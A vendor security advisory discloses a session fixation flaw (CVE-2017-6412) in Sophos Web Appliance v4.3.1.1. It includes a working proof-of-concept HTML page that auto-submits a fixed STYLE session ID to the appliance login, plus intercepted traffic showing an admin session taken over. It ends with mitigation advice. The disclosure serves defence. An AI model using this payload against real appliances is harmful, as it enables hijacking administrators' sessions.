

February 28, 2017

Session Fixation Vulnerability in Sophos Secure Web Appliance

SYNOPSIS:

Sophos Secure Web Appliance (Hardware and/or Virtual) **v4.3.1.1** does not invalidate pre-login Session IDs and accepts any random Session IDs provided by users/attackers which allows sessions to be fixed.

Reference:- <https://www.sophos.com/en-us/products/secure-web-gateway.aspx>

CVE: <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6412>

VULNERABILITY DETAILS:

Lab Setup:

1. Target: Sophos Web Appliance
2. Target IP Address: 192.168.253.147
3. Site Hosting Malicious Session Fixation Page: <http://MaliciousKali.com>

Vulnerable/Tested Version:

Sophos Web Appliance version 4.3.1.1 is affected. Older versions may also be affected.

Sophos Web Appliance running latest version:

Days left in evaluation: 29 [Click here to enter activation code](#) v4.3.1.1 | Logged in as admin | Log Out | 8:26:11 PM

Sophos Web Appliance

Dashboard
Configuration
Reports
Search
Help
System Status

- Accounts
- Group Policy
- Global Policy
- System
- Updates
- Alerts & Monitoring
- Backup
- Restore
- Active Directory
- eDirectory
- Authentication
- Connection Profiles
- Time Zone
- Central Management

System: Updates

The appliance automatically downloads anti-virus and web security updates from SophosLabs throughout the day. Use this page to configure how software engine upgrades and patches are applied.

Status	Component	Installed	Last updated	Schedule
✓	Threat definitions	2017.2.28.5350002	2017/02/28 08:20 PM	Check every five minutes
✓	Web security data	2017.2.24.1000	2017/02/27 04:24 PM	Check every five minutes
✓	Web application data	2016.11.22.1000	2017/02/27 04:23 PM	Check every five minutes

Software engine

Current version: **v4.3.1.1** Installed: 2017/02/27 05:33 PM

Available version	Downloaded Date	Next Scheduled update	Critical	Reboot
No updates pending				

Vulnerability: Session Fixation Vulnerability

An unauthenticated, remote attacker could host a malicious page on his website that makes POST request to the victim's Sophos Web Appliance to set the Session ID using **STYLE** parameter. The appliance does not validate if the Session ID sent by user/browser was issued by itself or fixed by user/attacker.

Also, the appliance does not invalidate pre-login Session IDs it issued earlier once user logs in successfully. It continues to use the same pre-login Session ID instead of invalidating it and issuing a new one.

Risk Factor: High

Impact:

If victim visits a malicious website that sends POST request with fixed Session ID of attacker's choosing to the Sophos Web Appliance, the victim ends up logging in to the appliance's web management console with the same Session ID. An attacker can then use same Session ID to hijack victim's session and would have full control over the appliance if victim has administrative privileges.

CVSS Score: AV: N/AC: M/AU: S/C/C/I: C/A:C

Proof-Of-Concept:

1. Host a webpage on malicious site that sends a POST request with a fixed Session ID in STYLE parameter to the Sophos Web Appliance.

<http://maliciouskali.com/Sophos-Fixation.html>

```

Open [🔍] Sophos-Fixation.html
/var/www/html
<html>
<body>
  <form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
    <input type="hidden" name="STYLE" value="0130b22021d7b3f4f039c49e345ad27b">
  </form>
  <script>
    window.onload = function(){
      document.forms['Sophos_Login'].submit()
    }
  </script>
</body>
</html>

```

Note: The Session ID highlighted was obtained as an unauthenticated user and I then changed its last letter from **a** to **b**

- Victim visits the malicious page <http://maliciouskali.com/Sophos-Fixation.html>

#	Host	Method	URL	Params	Edited	Status	Length	MIME t...	Extension	Title
71	http://maliciouskali.com	GET	/Sophos-Fixation.html	<input type="checkbox"/>	<input type="checkbox"/>	200	585	HTML	html	
72	https://192.168.253.147	POST	/index.php?c=login	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	4870	HTML	php	Sophos V
75	https://192.168.253.147	GET	/2667300/resources/javascrip...	<input type="checkbox"/>	<input type="checkbox"/>	200	140997	script	js	
77	https://192.168.253.147	GET	/2667300/resources/javascrip...	<input type="checkbox"/>	<input type="checkbox"/>	200	1537	script	js	
78	https://192.168.253.147	GET	/2667300/resources/javascrip...	<input type="checkbox"/>	<input type="checkbox"/>	200	32470	script	js	
82	https://192.168.253.147	POST	/index.php?c=login	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	42085	HTML	php	Sophos V
86	https://192.168.253.147	GET	/2667300/resources/javascrip...	<input type="checkbox"/>	<input type="checkbox"/>	200	675084	script	js	
87	https://192.168.253.147	GET	/2667300/resources/javascrip...	<input type="checkbox"/>	<input type="checkbox"/>	200	35983	script	js	
99	https://192.168.253.147	POST	/index.php?c=dashboard	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	542	JSON	php	
100	https://192.168.253.147	POST	/index.php?c=dashboard	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	1357	JSON	php	

Request Response

Raw Headers Hex HTML Render

```

HTTP/1.1 200 OK
Date: Tue, 28 Feb 2017 15:20:39 GMT
Server: Apache/2.4.23 (Debian)
Last-Modified: Tue, 28 Feb 2017 15:20:01 GMT
ETag: "135-54998bac71b50-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 309
Connection: close
Content-Type: text/html

<html>
<body>
  <form name="Sophos_Login"action="https://192.168.253.147/index.php?c=login" method="POST" >
    <input type="hidden" name="STYLE" value="0130b22021d7b3f4f039c49e345ad27b">
  </form>
  <script>
    window.onload = function(){
      document.forms['Sophos_Login'].submit()
    }
  </script>
</body>
</html>

```

0130b22021d7b3f4f039c49e345ad27b

Note: For demonstration purpose, the malicious page sets the Session ID and redirects victim to the appliances login page. However, a malicious attacker can use different trick. Also, note that the victim's browser cache was cleared to make sure that the results are not from past logins.

3. Victim logs into the appliance with admin privileges.

#	Host	Method	URL	Params	Edited	Status	Length	MIME t...	Extension	Title	Comment	SSL	IP
71	http://maliciouskali.com	GET	/Sophos-Fixation.html			200	585	HTML	html				192.168.253.130
72	https://192.168.253.147	POST	/index.php?c=login		<input checked="" type="checkbox"/>	200	4870	HTML	php	Sophos Web Applia...		<input checked="" type="checkbox"/>	192.168.253.147
75	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	140997	script	js			<input checked="" type="checkbox"/>	192.168.253.147
77	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	1537	script	js			<input checked="" type="checkbox"/>	192.168.253.147
78	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	32470	script	js			<input checked="" type="checkbox"/>	192.168.253.147
82	https://192.168.253.147	POST	/index.php?c=login		<input checked="" type="checkbox"/>	200	42085	HTML	php	Sophos Web Applia...		<input checked="" type="checkbox"/>	192.168.253.147
86	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	675084	script	js			<input checked="" type="checkbox"/>	192.168.253.147
87	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	35983	script	js			<input checked="" type="checkbox"/>	192.168.253.147
99	https://192.168.253.147	POST	/index.php?c=dashboard		<input checked="" type="checkbox"/>	200	542	JSON	php			<input checked="" type="checkbox"/>	192.168.253.147
100	https://192.168.253.147	POST	/index.php?c=dashboard		<input checked="" type="checkbox"/>	200	1357	JSON	php			<input checked="" type="checkbox"/>	192.168.253.147

```

Request
Response
Raw Params Headers Hex
POST /index.php?c=login HTTP/1.1
Host: 192.168.253.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://maliciouskali.com/Sophos-Fixation.html
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

STYLE=0130b22021d7b3f4f039c49e345ad27b
  
```

The same Session ID was sent to the appliance.

4. Appliance logs the victim in with same Session ID that was fixed by the attacker.

#	Host	Method	URL	Params	Edited	Status	Length	MIME t...	Extension	Title	Comment	SSL	IP	Cookies
71	http://maliciouskali.com	GET	/Sophos-Fixation.html			200	585	HTML	html				192.168.253.130	
72	https://192.168.253.147	POST	/index.php?c=login		<input checked="" type="checkbox"/>	200	4870	HTML	php	Sophos Web Applia...		<input checked="" type="checkbox"/>	192.168.253.147	
75	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	140997	script	js			<input checked="" type="checkbox"/>	192.168.253.147	
77	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	1537	script	js			<input checked="" type="checkbox"/>	192.168.253.147	
78	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	32470	script	js			<input checked="" type="checkbox"/>	192.168.253.147	
82	https://192.168.253.147	POST	/index.php?c=login		<input checked="" type="checkbox"/>	200	42085	HTML	php	Sophos Web Applia...		<input checked="" type="checkbox"/>	192.168.253.147	
86	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	675084	script	js			<input checked="" type="checkbox"/>	192.168.253.147	
87	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	35983	script	js			<input checked="" type="checkbox"/>	192.168.253.147	
99	https://192.168.253.147	POST	/index.php?c=dashboard		<input checked="" type="checkbox"/>	200	542	JSON	php			<input checked="" type="checkbox"/>	192.168.253.147	
100	https://192.168.253.147	POST	/index.php?c=dashboard		<input checked="" type="checkbox"/>	200	1357	JSON	php			<input checked="" type="checkbox"/>	192.168.253.147	

```

Request
Response
Raw Headers Hex HTML Render
PM\.\_oma\:\_joined\:\_false,\_host\:\_\\,\_is_oma\:\_false,\_swa_joined\:\_false,\_is_vm\:\_true,\_locale\:\_en,\_trialMode\:\_true,\_licenseDaysLeft\:\_29,\_navigation\:\_[],\_navigation_left\:\_[],\_status_no_threat_list\:\_Threat List
unavailable\,\_status_system_ok\:\_0R\,\_status_system_caution\:\_Warning\,\_status_system_error\:\_Error\,\_status_system_unknown\:\_Unknown\,\_uiStatusMessages\:\_(\_status_no_threat_list\:\_Threat list
unavailable\,\_status_system_ok\:\_0R\,\_status_system_caution\:\_Warning\,\_status_system_error\:\_Error\,\_status_system_unknown\:\_Unknown\,\_rba\:\_(\_re
ports\:\_true,\_search\:\_true,\_configuration\:\_true,\_system_status\:\_true,\_help_support\:\_true,\_editable\:\_true,\_current_user\:\_admin\,\_globalUser\:\_false,\_a
dmin_role\:\_true))\);
args.set('WSA_BUILD', 2667300);
args.set('SID', 'STYLE=0130b22021d7b3f4f039c49e345ad27b');
args.set('remoteHon', 'no');
args.set('remoteEnabled', 'no');

Sophos.widget.CleanCssButtons();
/* ]]> */
</script>
0130b22021d7b3f4f039c49e345ad27b 18 matches
  
```

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status	Length	MIME t...	Extension	Title	Comment	SSL	IP	Cookies
71	http://maliciouskali.com	GET	/Sophos-Fixation.html			200	585	HTML	html				192.168.253.130	
72	https://192.168.253.147	POST	/index.php?c=login			200	4870	HTML	php	Sophos Web Applia...			192.168.253.147	
75	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	140997	script	js				192.168.253.147	
77	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	1537	script	js				192.168.253.147	
78	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	32470	script	js				192.168.253.147	
82	https://192.168.253.147	POST	/index.php?c=login			200	42085	HTML	php	Sophos Web Applia...			192.168.253.147	
86	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	675084	script	js				192.168.253.147	
87	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	35983	script	js				192.168.253.147	
99	https://192.168.253.147	POST	/index.php?c=dashboard			200	542	JSON	php				192.168.253.147	
100	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	

Request Response

Raw Params Headers Hex

```

POST /index.php?c=dashboard HTTP/1.1
Host: 192.168.253.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.253.147/index.php?c=login
Content-Length: 51
Connection: close

action=clock&STYLE=0130b22021d7b34f039c49e345ad27b

```

0130b22021d7b34f039c49e345ad27b 1 match

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status	Length	MIME t...	Extension	Title	Comment	SSL	IP	Cookies
248	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
249	https://192.168.253.147	POST	/index.php?c=dashboard			200	542	JSON	php				192.168.253.147	
250	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
251	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
252	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
253	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
254	https://192.168.253.147	POST	/index.php?c=dashboard			200	1357	JSON	php				192.168.253.147	
255	https://192.168.253.147	GET	/index.php?section=configuratio...			200	51916	HTML	php	Sophos Web Applia...			192.168.253.147	
260	https://192.168.253.147	GET	/2667300/resources/javascrip...			200	675084	script	js				192.168.253.147	
269	https://192.168.253.147	POST	/index.php?c=dashboard			200	542	JSON	php				192.168.253.147	

Request Response

Raw Headers Hex HTML Render

Days left in evaluation: 29 [Click here](#) to enter activation code [v4.3.1.1](#) | Logged in as [admin](#) | [Log Out](#) | -

- [Dashboard](#)
- [Configuration](#)
- [Reports](#)
- [Search](#)
- [Help](#)
- [System Status](#)

Configuration
Configuration
The configuration homepage provides links to common post-installation procedures. Use the list below to access these configuration steps.

5. An attacker can use the same Session ID to hijack victim's session.

Potential Mitigation:

It is recommended to discard/invalidate pre-login Session IDs as soon as user logs in and issue him a new Session ID. Also, check for fixed Session IDs that application never issued to any user.

OWASP Recommendation: [https://www.owasp.org/index.php/Session Fixation Protection](https://www.owasp.org/index.php/Session_Fixation_Protection)

CREDITS:

The discovery and documentation of this vulnerability was conducted by **Kapil Khot**, Qualys Vulnerability Signature/Research Team.

CONTACT:

For more information about the Qualys Security Research Team, visit our website at <http://www.qualys.com> or send email to [**research@qualys.com**](mailto:research@qualys.com)

LEGAL NOTICE:

The information contained within this advisory is Copyright (C) 2017 Qualys Inc. It may be redistributed provided that no fee is charged for distribution and that the advisory is not modified in any way.